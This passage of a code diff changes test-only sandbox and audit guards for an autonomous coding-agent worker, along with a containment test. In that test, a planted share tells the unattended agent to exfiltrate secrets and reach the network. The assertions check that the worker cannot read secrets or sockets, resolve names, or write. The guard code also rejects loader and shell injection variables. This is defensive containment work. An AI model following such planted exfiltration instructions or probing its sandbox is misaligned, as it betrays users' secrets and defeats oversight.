real:string;try{real=realpathSync(path);}catch{refuse("fixture root registration is unavailable");} @@ -779,10 +805,10 @@ export function nativeScriptedService(origin: string, fixture?: { fixtureRoots?: const fixtureCredentials=fixture?.fixtureCredentials?new Map(Object.entries(fixture.fixtureCredentials).map(([key,value])=>{ if(!["ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN"].includes(key)||typeof value!=="string"||!value||value.includes("\0"))refuse("invalid fixture credential declaration");return [key,value] as const; })):fixture?.fixtureRoots===undefined?prior?.fixtureCredentials??new Map():new Map(); - authority = Object.freeze({ fixtureCredentials, origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy,revalidate:fixture?.fixtureRoots===undefined?prior?.revalidate:undefined }); + authority = Object.freeze({ isLive:()=>active&&(fixture?.fixtureRoots===undefined&&prior?prior.isLive():true),fixtureCredentials, origin: target.origin, fixtureRoots, fixtureRootStamps, fixtureFiles,turnProxy:fixture?fixture.turnProxy===true:prior?.turnProxy,revalidate:fixture?.fixtureRoots===undefined?prior?.revalidate:undefined }); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("fixture registration is unavailable"); } scriptedRoute.enterWith(authority); - return () => { if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; + return () => { active=false;if(scriptedRoute.getStore()===authority)scriptedRoute.enterWith(previous); }; } const fixtureAppAuthorities=new WeakMap(); @@ -843,6 +869,22 @@ function validateCopiedFixtureTurnTree(role:CopiedFixtureTurnTree,scope:Scripted } scope.revalidate?.(); } +/** A raw brain bind is unexposed only beneath this role's exact later view. */ +function copiedBrainBindShadowed(mounts:readonly string[],at:number,scope:ScriptedAuthority|undefined):boolean { + if(!scope||mounts[at]!=="--ro-bind"||mounts[at+1]!==mounts[at+2])return false; + const brain=mounts[at+1],role=[...copiedFixtureTurnTrees].find(role=>role.brain===brain&&role.scope===scope); + if(!role)return false; + let overlay=-1; + for(let i=at+3;irole.root===source||role.index===source);if(!role)return; if(source===role.index&&target===join(role.brain,".brain-index"))return; @@ -1023,7 +1065,7 @@ function mountInputEvidence(input: string, destination: string, index: number, e } /** Validate the same bind-source inventory used to construct the native view. */ -function assertNativeMountSockets(mounts: readonly string[], origin: string, keeper?: KeeperInspection): void { +function assertNativeMountSockets(mounts: readonly string[], origin: string, keeper?: KeeperInspection,route=scriptedRoute.getStore()): void { const roots: string[] = []; for (let i = 0; i < mounts.length; i++) { const flag = mounts[i]!; @@ -1040,7 +1082,7 @@ function assertNativeMountSockets(mounts: readonly string[], origin: string, kee if (flag !== "--ro-bind" && (system || SYSTEM.some(root => { try { return within(realpathSync(root), source); } catch { return false; } }))) refuse("native system mounts must be read-only"); // No recursive walk of the fixed distribution view. All other binds, // including fixture tools, homes, caches and relay storage, fail closed. - if (!system) roots.push(source); + if (!system&&!copiedBrainBindShadowed(mounts,i,route)) roots.push(source); i += 2; } } @@ -1455,6 +1497,7 @@ function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuth for(let i=0;ivalue&&/^(?:LD_|DYLD_)/.test(key)))refuse("restriction cannot be enforced"); @@ -1815,7 +1858,8 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon writeFileSync(event,"",{mode:0o600});writeFileSync(log,"",{mode:0o600}); let complete=false,failed=false,auditUnavailable=false,disposing=false,timer:ReturnType|undefined;let forkOwner:{pid:number;start:string}|undefined; const report=(reason:string,stage?:"stub-identity"|"tripwire-record",errno?:string)=>{if(failed)return;failed=true;denied++;process.exitCode=1;nativeReceipt({kind:"native-offline-boundary",head:nativeTestHead(),classification:"unknown",restriction:"tripwire",success:false,nativeLaunched:false,reason,...(stage?{stage}:{}),...(errno&&["ENOENT","EACCES","EPERM","IDENTITY_CHANGED","INVALID_RECORD"].includes(errno)?{errno}:{} )});}; - const cleanup=()=>{clearInterval(timer);rmSync(directory,{recursive:true,force:true});}; + let outerAudit:ReturnType|undefined,sharedAudit:ReturnType; + const cleanup=()=>{clearInterval(timer);outerAudit?.close();sharedAudit?.dispose();rmSync(directory,{recursive:true,force:true});}; try{ const stamp=lstatSync(stub,{bigint:true}),masks=nativeTripwireMaskPaths(options),bwrap=metadataWhich("bwrap",{PATH:GUARD_TOOL_PATH}),strace=metadataWhich("strace",{PATH:GUARD_TOOL_PATH}); if(!bwrap||!masks.length)refuse("restriction cannot be enforced"); @@ -1826,7 +1870,8 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon const probeCommand=[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]; const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); - const tracePrefix=strace?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=execve","-o",log,"--"]:[]; + try{sharedAudit=borrowNativeAudit(reason=>report(reason));if(!sharedAudit&&strace)outerAudit=ownNativeAudit(log,strace);}catch(error){refuse(error instanceof Error?error.message:"native outer audit ownership unavailable");} + const tracePrefix=strace&&!sharedAudit?[strace,"-D","-I","1","--kill-on-exit","-f","-qq","-s","0","-e","trace=connect,%process,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4","-o",log,"--"]:[]; const forkOwnerFile=at===5&&argv[4]===NATIVE_FIXTURE_FORK_EXEC?join(directory,"fork-owner"):undefined; const forkOwnerDeadline=Date.now()+5000; @@ -1836,8 +1881,9 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon // imported functions would invalidate that exact-code proof. if(argv.slice(0,at).some(value=>{try{return resolveExecutable(value,options)===realpathSync("/bin/sh");}catch{return false;}})&&Object.entries(options.env??process.env).some(([key,value])=>value&&/^(?:BASH_ENV|ENV|SHELLOPTS|BASHOPTS|BASH_FUNC_.*)$/.test(key)))refuse("restriction cannot be enforced"); const separator=unknownBwrapPayload(argv,at);if(argv[separator]!=="--")argv.splice(separator,0,"--");if(separator!==argv.indexOf("--",at))refuse("restriction cannot be enforced"); - const originalRemounts=deferNativeReadOnlyRemounts(argv,at),end=argv.indexOf("--",at); - argv.splice(end,0,...mounts,"--cap-drop","ALL",...originalRemounts); + const originalRemounts=preserveProductPlan?[]:deferNativeReadOnlyRemounts(argv,at),end=argv.indexOf("--",at); + if(preserveProductPlan&&!argv.some((arg,index)=>arg==="--cap-drop"&&argv[index+1]==="ALL"))refuse("restriction cannot be enforced"); + argv.splice(end,0,...mounts,...(preserveProductPlan?[]:["--cap-drop","ALL"]),...originalRemounts); // Keep diagnostic tooling outside the product view. A private /tmp may // hide a locally installed tracer, while the actual payload still sees masks. argv=[...tracePrefix,...argv]; @@ -1874,7 +1920,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon // Unknown-launch exec observation is diagnostic-only. A cancelled exec // can leave a split syscall unfinished; it cannot undo the installed mask. try{ - const bytes=readFileSync(log);if(bytes.length>8*1024*1024)throw Error("exec audit exceeded bound"); + const bytes=sharedAudit?Buffer.from(sharedAudit.read()):readFileSync(log);if(bytes.length>8*1024*1024)throw Error("exec audit exceeded bound"); const evidence=nativeExecTrace(bytes.toString("utf8")); for(const exec of evidence.events){ const file=resolve(options.cwd??process.cwd(),exec.path); @@ -1898,13 +1944,13 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon const forceFinish=()=>finish(true);tripwireFinalizers.add(forceFinish); timer=setInterval(()=>{inspect();if(disposing)finish();},20);timer.unref(); const encoded=JSON.stringify(argv); - const launchEnv={...options.env??process.env};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,unknown:true as const,nativeExecuted:()=>false,beforeLaunch(){if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; + const launchEnv:Record={...(options.env??process.env),...(outerAudit?.env??sharedAudit?.env??{})};delete launchEnv.BRAIN_NATIVE_RECEIPT; + const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; observe?(pid:number):void; nativeExecuted?():boolean;unknown?:boolean } { +export function nativeWorkerBoundary(env: Record): { native: boolean; env: Record; dispose(): void; beforeLaunch(): void; afterSpawn?(pid:number):void; observe?(pid:number):void; nativeExecuted?():boolean;unknown?:boolean } { const unchanged = { native: false, env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; @@ -1935,7 +1981,7 @@ export function nativeWorkerBoundary(env: Record): { const restricted=nativeUnknownBoundary(workerArgv,context,identity?.workerUid); if(supervisor){supervisor.argv=restricted.argv;argv[5]=JSON.stringify(supervisor);launch.argv=argv;}else launch.argv=restricted.argv; if(launch.env)delete launch.env.BRAIN_NATIVE_RECEIPT; - return {...restricted,native:false,env:{...env,BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}}; + return {...restricted,native:false,env:{...env,...Object.fromEntries(Object.entries(restricted.env).filter(([key])=>key==="BRAIN_NATIVE_EXEC_AUDIT")),BRAIN_WORKER_LAUNCH:JSON.stringify(launch)}}; } try { argv[0] = resolveExecutable(argv[0]!, context); workerArgv[0] = resolveExecutable(workerArgv[0]!, context); } catch { refuse("worker executable could not be resolved"); } @@ -1961,8 +2007,12 @@ export function nativeWorkerBoundary(env: Record): { const workerUid=supervisor&&launch.brainPath?(createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher")).verifiedWorkerIdentity(launch.brainPath)?.workerUid:undefined; const bridge = startNativeTestRelay(route.origin,workerUid); const directTunnel=!ownedOrigin?startNativeTurnProxyTunnel(route.origin,bridge.directory):undefined; - const disposeBridge=()=>{directTunnel?.dispose();bridge.dispose();}; + let executablePin:ReturnType|undefined; + let title:ReturnType;let forgetTitle:undefined|(()=>void); + const disposeBridge=()=>{executablePin?.dispose();forgetTitle?.();title?.dispose();directTunnel?.dispose();bridge.dispose();}; try { + title=prepareNativeTitleCollector(launch.env??{},route,bridge.directory); + if(title)forgetTitle=rememberRelay(title.socket,route.origin,()=>route.isLive()); const tools = fixtureToolView(launch.env ?? {}, launch.brainPath ?? ROOT, launch.hostHome ?? launch.env?.HOME); assertNativeMountSockets(tools.mounts, route.origin); for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { @@ -1995,17 +2045,30 @@ export function nativeWorkerBoundary(env: Record): { const turnProxy=admittedRelay(workerArgv,WORKER_TURN_PROXY); let protectedPayload:string[]; if(directTunnel){ - protectedPayload=nativeUnrelayedWorkerPayloadCommand(nativePayload,argv=>nativeSocketCommand(argv,join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",{source:directTunnel.socket,allowed:WORKER_TURN_PROXY})); - }else protectedPayload=nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted!.path, socket!,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined)); + protectedPayload=nativeUnrelayedWorkerPayloadCommand(nativePayload,argv=>nativeSocketCommand(argv,join(bridge.directory,"relay.sock"),"/tmp/native-relay/relay.sock",{source:directTunnel.socket,allowed:WORKER_TURN_PROXY},title)); + }else protectedPayload=nativeWorkerPayloadCommand(nativePayload,command,(argv,trusted)=>nativeSocketCommand(argv, admitted!.path, socket!,trusted&&turnProxy?{source:turnProxy.path,allowed:WORKER_TURN_PROXY}:undefined,title)); + if(title){const gates=nativeWorkerGatePrefixLength(protectedPayload);if(gates===undefined)refuse("unrecognized native worker start gate");protectedPayload=[...protectedPayload.slice(0,gates),...title.wrap(protectedPayload.slice(gates))];} workerArgv.push(...nativeDiagnosticWorkerPayload(protectedPayload,Boolean(supervisor&&process.argv.some(value=>value.startsWith("--native-identity-startup-audit="))))); const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); const beforeLaunch = () => { try{route.revalidate?.();}catch{refuse("native fixture turn data declaration unavailable");} - try { keeper?.refresh();assertCheckpointBind(nativeMounts,nativeCheckpointRole(launch,route)); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper,checkpoint); assertNativeMountSockets(nativeMounts, route.origin,keeper); } + try { keeper?.refresh();assertCheckpointBind(nativeMounts,nativeCheckpointRole(launch,route)); assertWorkerFixtureBinds(nativeMounts, route, bridge.directory,keeper,checkpoint); assertNativeMountSockets(nativeMounts, route.origin,keeper,route); } catch(error) { if (String(error).includes("Offline native Claude refused before launch:")) throw error; refuse("worker fixture provenance is unavailable"); } }; beforeLaunch(); const expected = expectedNativeExec(command[0]!, command.slice(1), context); + // Only a fully admitted native worker that enters its keeper namespace + // needs an executable pin. Unknown launches retain their complete masks. + if(keeper&&!supervisor&&workerArgv.slice(0,bwrap).some(value=>{try{return resolveExecutable(value,context)===realpathSync("/usr/bin/nsenter");}catch{return false;}})){ + const selected=[...new Set(expected.map(path=>realpathSync(path)))]; + if(selected.length!==1)refuse("native executable pin requires one selected runtime"); + const target=selected[0]!; + if(nativeTripwireMaskPaths(context).some(path=>path!==target&&realpathSync(path)===target))refuse("native executable pin cannot expose another runtime spelling"); + const live=()=>{if(!route.isLive())throw Error("native executable scripted authority expired");route.revalidate?.();}; + try{executablePin=pinNativeWorkerExecutable(target,live,reason=>refuse(reason));} + catch(error){return refuse(error instanceof Error?error.message:"native executable pin unavailable");} + workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...executablePin.mount); + } let audited: ReturnType; if (supervisor) { const payload = workerArgv.splice(workerArgv.indexOf("--", bwrap) + 1); @@ -2027,13 +2090,14 @@ export function nativeWorkerBoundary(env: Record): { launch.argv = argv; } else { workerArgv.splice(workerArgv.indexOf("--",bwrap),0,...readOnlyRemounts); - audited = auditNativeLaunch(workerArgv, expected, disposeBridge); + audited = auditNativeLaunch(executablePin?executablePin.wrap(workerArgv):workerArgv, expected, disposeBridge); launch.argv = audited.argv; } const encoded=JSON.stringify(launch); nativeReceipt({kind:"native-offline-worker-plan",head:nativeTestHead(), bootstrapArgc:launch.argv!.length,bootstrapArgvBytes:Buffer.byteLength(JSON.stringify(launch.argv)), sandboxArgc:workerArgv.length,sandboxArgvBytes:Buffer.byteLength(JSON.stringify(workerArgv)),metadataBytes:Buffer.byteLength(encoded)}); - return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch,nativeExecuted:audited.nativeExecuted,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; + const finalBeforeLaunch=()=>{beforeLaunch();audited.beforeLaunch();try{title?.validate();executablePin?.beforeLaunch();}catch(error){refuse(error instanceof Error?error.message:"native executable pin unavailable");}}; + return { native: true, env: { ...env, BRAIN_WORKER_LAUNCH: encoded }, dispose: audited.dispose, beforeLaunch:finalBeforeLaunch,afterSpawn(pid){audited.afterSpawn(pid);executablePin?.afterSpawn(pid);recordFixtureWorkerSpawn(pid,originalLaunch,route);},nativeExecuted:audited.nativeExecuted,observe(pid){observeNativeFixtureRtkSpawn(pid,originalLaunch,expected,audited.liveExecs);} }; } catch (error) { disposeBridge(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 6b45cdf954..2eb383cbc3 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,3 +1,4 @@ +import {nativeAuditEnvironment} from "./native-shared-audit"; import { inheritNativeReceipts, withoutNativeReceipts, nativeReceipt, flushNativeReceipts } from "./native-test-receipts.ts"; /** Test-only subprocess and transport safeguards; never imported by a published package. */ import { nativeGuardedBoundary,nativeWorkerClassification,nativeUnknownBoundary,prepareNativeBootstrapDiagnostics, recordNativeGuardChild, isGuardedNativePlan, guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, nativeTestHead, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; @@ -186,12 +187,13 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { ...(!Object.hasOwn(options.env ?? {},"GITHUB_ACTIONS") && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", ...(!Object.hasOwn(options.env ?? {},"RUNNER_ENVIRONMENT")?{RUNNER_ENVIRONMENT:process.env.RUNNER_ENVIRONMENT}:{}) } : {}) })); const unknownBoundary=!boundary&&!workerBoundary?.unknown&&!options.env?.BRAIN_WORKER_LAUNCH&&nativeWorkerClassification(cmd,options)==="unknown"?nativeUnknownBoundary((Array.isArray(args[0])?args[0]:(args[0] as {cmd:string[]}).cmd) as string[],options):undefined; if(unknownBoundary)args[0]=Array.isArray(first)?unknownBoundary.argv:{...args[0] as object,cmd:unknownBoundary.argv}; - let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); + let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? unknownBoundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); if(!boundary&&!unknownBoundary&&!workerBoundary?.unknown&&!pipeOnly&&!isGuardedNativePlan(cmd)){ const actual=Array.isArray(args[0])?args[0] as string[]:(args[0] as {cmd:string[]}).cmd; const channel=inheritNativeReceipts(inherited,actual,defaultStderr);inherited=channel.options; args[0]=Array.isArray(first)?channel.argv:{...args[0] as object,cmd:channel.argv}; }else inherited=withoutNativeReceipts(inherited); + inherited={...inherited,env:nativeAuditEnvironment(inherited.env)}; const bootstrap = key === "spawn" && pipeOnly && Boolean(options.env?.BRAIN_WORKER_LAUNCH); // A synchronous non-native probe may read its FIFO without awaiting exited. // Only an admitted native plan owns the asynchronous diagnostic writer. @@ -202,6 +204,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { try { boundary?.beforeLaunch();unknownBoundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); + boundary?.afterSpawn?.(result.pid);unknownBoundary?.afterSpawn?.(result.pid);workerBoundary?.afterSpawn?.(result.pid); if (key === "spawn") { const exited=result.exited,evidence=bootstrapDiagnostics?.attach(result); const report=recordNativeGuardChild(result,bootstrap,evidence,boundary?.nativeExecuted??workerBoundary?.nativeExecuted); diff --git a/tests/autonomous-containment.test.ts b/tests/autonomous-containment.test.ts index 9e9c105025..0f826a1fcf 100644 --- a/tests/autonomous-containment.test.ts +++ b/tests/autonomous-containment.test.ts @@ -45,6 +45,19 @@ function attacks(r: any, adapter: string): any[] { return found; } +/** The companion checks the product layer; the native arm also has the guard's broker. */ +function assertProductNetwork(a:any):void { + expect(a.net["tcp-host"], "host TCP listener unreachable").toBe("ECONNREFUSED"); + expect(a.net["tcp-upstream"], "the inference upstream is unreachable except through the relay").toBe("ECONNREFUSED"); + expect(a.net.dns, "no name resolves").toBe("gaierror"); + expect(a.net["unix-host"], "host Unix socket outside the envelope is absent").toBe("ENOENT"); + expect(a.net["unix-home"], "a socket in the host home is absent").toBe("ENOENT"); + // Ruling 1A: a host daemon's socket inside the read envelope stays + // connectable through a read-only mount, so the brain's .git is masked. + expect(a.net["unix-git"], "GIT_MASKED: the host's socket in the brain's .git is absent").toBe("ENOENT"); + expect(a.net["unix-abstract"], "the host's abstract socket namespace is unreachable").toBe("ECONNREFUSED"); +} + for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous containment`, () => { test("a hostile staged share cannot read secrets, reach the network or sockets, or write the brain; inference, staging and escalation work", async () => { const r = await probe(adapter, "attack"); @@ -52,6 +65,25 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous expect(receipt.failure).toBeUndefined(); const reports = attacks(r, adapter); + if(adapter==="claude")for(const a of reports)for(const name of ["tcp-host","tcp-upstream","unix-host","unix-home","unix-git","unix-abstract","udp-host"])expect(a.net[name],`native broker denies ${name}`).toBe("EPERM"); + // Native reports prove the additional guard; the replay proves the product's own plan. + if(adapter==="claude"){ + expect(receipt.companionReports,"ACTUAL_GUARD_CAPTURED_PRODUCT_COMPANION").toHaveLength(1); + for(const companion of receipt.companionReports){ + expect(companion.fromGuardSpawn,"COMPANION_USES_ACTUAL_GUARD_SPAWN_RECORD").toBe(true); + expect(companion.planMatches,"ONLY_TERMINAL_COMMAND_AND_O1_MASK_BINDS_DIFFER").toBe(true); + const a=companion.attack; + assertProductNetwork(a); + expect(a.selfNet,"PRODUCT_NETNS_ISOLATION_WITHOUT_BROKER").not.toBe(companion.serverNet); + expect(a.leaks,"SECRETS_UNSEEN: no marker in any environment, /proc environ or readable file").toEqual([]); + for(const process of a.processes)expect(process.net,`${process.cmd} shares the restricted network namespace`).toBe(a.selfNet); + expect(a.processes.some((process:any)=>/python3/.test(process.cmd)),"PYTHON_COMPANION_EXECUTED_IN_REAL_VIEW").toBe(true); + const reads=Object.entries(a.reads as Record).filter(([path])=>path.includes("autonomous-containment-"));expect(reads.length).toBe(5);for(const [path,outcome]of reads)expect([path,outcome]).toEqual([path,"ENOENT"]); + expect(a.relay).toEqual({"get-models":405,"post-files":403,"post-batches":403,"post-traversal":403,"post-other-host":200,"post-messages":200}); + expect(a.writes).toEqual({policy:"EROFS",scratch:"ok","symlink-write":"EROFS",hardlink:"EXDEV"});expect(a.scratchReadBack).toBe("Odysseus triage staged"); + } + } + // Egress, observed by listeners outside the worker and the server. expect(r.counts, "EGRESS_NONE: no connection or datagram reached a host listener").toEqual({ tcp: 0, udp: 0, unixHost: 0, unixHome: 0, unixGit: 0, abstract: 0 }); for (const a of reports) { @@ -60,15 +92,10 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} autonomous for (const [name, port] of Object.entries(a.tcpPorts as Record)) { expect(port, `${name} port lies below the worker's ephemeral range`).toBeLessThan(a.ephemeralRange[0]); } - expect(a.net["tcp-host"], "host TCP listener unreachable").toBe("ECONNREFUSED"); - expect(a.net["tcp-upstream"], "the inference upstream is unreachable except through the relay").toBe("ECONNREFUSED"); - expect(a.net.dns, "no name resolves").toBe("gaierror"); - expect(a.net["unix-host"], "host Unix socket outside the envelope is absent").toBe("ENOENT"); - expect(a.net["unix-home"], "a socket in the host home is absent").toBe("ENOENT"); - // Ruling 1A: a host daemon's socket inside the read envelope stays - // connectable through a read-only mount, so the brain's .git is masked. - expect(a.net["unix-git"], "GIT_MASKED: the host's socket in the brain's .git is absent").toBe("ENOENT"); - expect(a.net["unix-abstract"], "the host's abstract socket namespace is unreachable").toBe("ECONNREFUSED"); + if(adapter==="claude"){ + for(const name of ["tcp-host","tcp-upstream","unix-host","unix-home","unix-git","unix-abstract","udp-host"])expect(a.net[name],`native broker denies ${name}`).toBe("EPERM"); + expect(a.net.dns,"no name resolves").toBe("gaierror"); + }else assertProductNetwork(a); // Secrets: environment, /proc environ, host files and the host home. expect(a.leaks, "SECRETS_UNSEEN: no marker in any environment, /proc environ or readable file").toEqual([]); diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index e898cc1444..acc3992676 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -17,7 +17,7 @@ import { const ROOT = join(import.meta.dir, ".."); const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", - "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; + "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index 1df21cb9bf..8d3ab34e14 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -107,7 +107,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root,brainPath], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 8f1d95cea3..2ecc118a56 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -1,10 +1,11 @@ import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; +import { nativeScriptedService,nativeUnknownBoundary,nativeFixtureObserveWorkerSpawns,nativeFixtureIsWorkerSpawnRecord,type NativeFixtureWorkerSpawnRecord } from "../../scripts/test-native-guard.ts"; import { spyOn } from "bun:test"; import * as startup from "../../packages/ui-sdk/src/server/worker-startup-view.js"; import { createFixtureWorkerStartupView } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { belowEphemeral } from "../../packages/ui-sdk/tests/helpers/below-ephemeral-port.js"; +import { observeCopiedFixtureTurnTrees } from "../../packages/ui-server/tests/helpers/fixture-turn-data-tree.js"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; /** * Autonomous containment proof (#676), run behind the caller's offline @@ -17,7 +18,7 @@ import { createFixtureTurnHost } from "./turn-host-fixture.js"; * share asks the unattended agent to exfiltrate; the fixture model obeys by * running the attack script below inside the restricted worker. */ -import { cpSync, existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { cpSync, existsSync, mkdirSync, readFileSync, readlinkSync, rmSync, writeFileSync,openSync,closeSync } from "node:fs"; import { join, resolve } from "node:path"; import { MARKERS } from "./autonomous-containment-markers"; @@ -174,7 +175,7 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } })); - nativeScriptedService(upstream.url.origin, { fixtureRoots: [root], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); + nativeScriptedService(upstream.url.origin, { fixtureRoots: [root,brainPath], fixtureCredentials:{ANTHROPIC_API_KEY:MARKERS.realKey} }); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" @@ -206,8 +207,36 @@ async function server(): Promise { const nativeHost = createFixtureTurnHost(brainPath, db); // The historical restricted fixture omits Git daemon sockets; the worker still enforces its Git mask. + const companions:Promise[]=[]; + const observeCompanion=nativeFixtureObserveWorkerSpawns(record=>{ + if(adapter!=="claude"||scenario!=="attack"||record.brainPath!==brainPath)return; + companions.push(runProductCompanion(record)); + }); + async function runProductCompanion(record:NativeFixtureWorkerSpawnRecord){ + if(!nativeFixtureIsWorkerSpawnRecord(record)||record.bwrap<0)throw Error("ACTUAL_GUARD_SPAWN_RECORD_REQUIRED"); + const captured=[...record.argv.slice(record.bwrap)],terminal=captured.length-record.command.length; + if(!record.command.every((arg,index)=>captured[terminal+index]===arg))throw Error("ACTUAL_PRODUCT_TERMINAL_COMMAND_REQUIRED"); + const 